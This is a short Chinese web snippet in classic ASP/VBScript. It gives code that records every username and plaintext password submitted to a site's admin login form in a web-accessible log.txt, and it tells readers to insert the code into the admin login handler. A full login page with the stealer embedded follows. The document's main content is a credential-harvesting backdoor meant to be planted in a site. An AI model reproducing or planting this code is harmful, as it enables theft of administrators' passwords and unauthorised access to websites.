复制代码 代码如下:
set fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(server.mappath("log.txt"))=true then
set fin=fso.opentextfile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.writeline(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
在后台登录处表单提交的地方插入!
参考文件:
复制代码 代码如下:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,checkcode
username=replace(trim(request("username")),"'","")
password=replace(trim(request("password")),"'","")
checkcode=replace(trim(request("checkcode")),"'","")
if username="" then
founderr=true
errmsg=errmsg & "<br><li>用户名不能为空!</li>"
end if
if password="" then
founderr=true
errmsg=errmsg & "<br><li>密码不能为空!</li>"
end if
if checkcode="" then
founderr=true
errmsg=errmsg & "<br><li>验证码不能为空!</li>"
end if
if session("checkcode")="" then
founderr=true
errmsg=errmsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"
end if
if checkcode<>cstr(session("checkcode")) then
founderr=true
errmsg=errmsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"
end if
'这后面是我增加的代码~开始区域
set fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(server.mappath("log.txt"))=true then
set fin=fso.opentextfile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.writeline(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代码被我删除了~结束区域
%>
本文涉及语句作者是:会的不多ifat
【说明】:本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!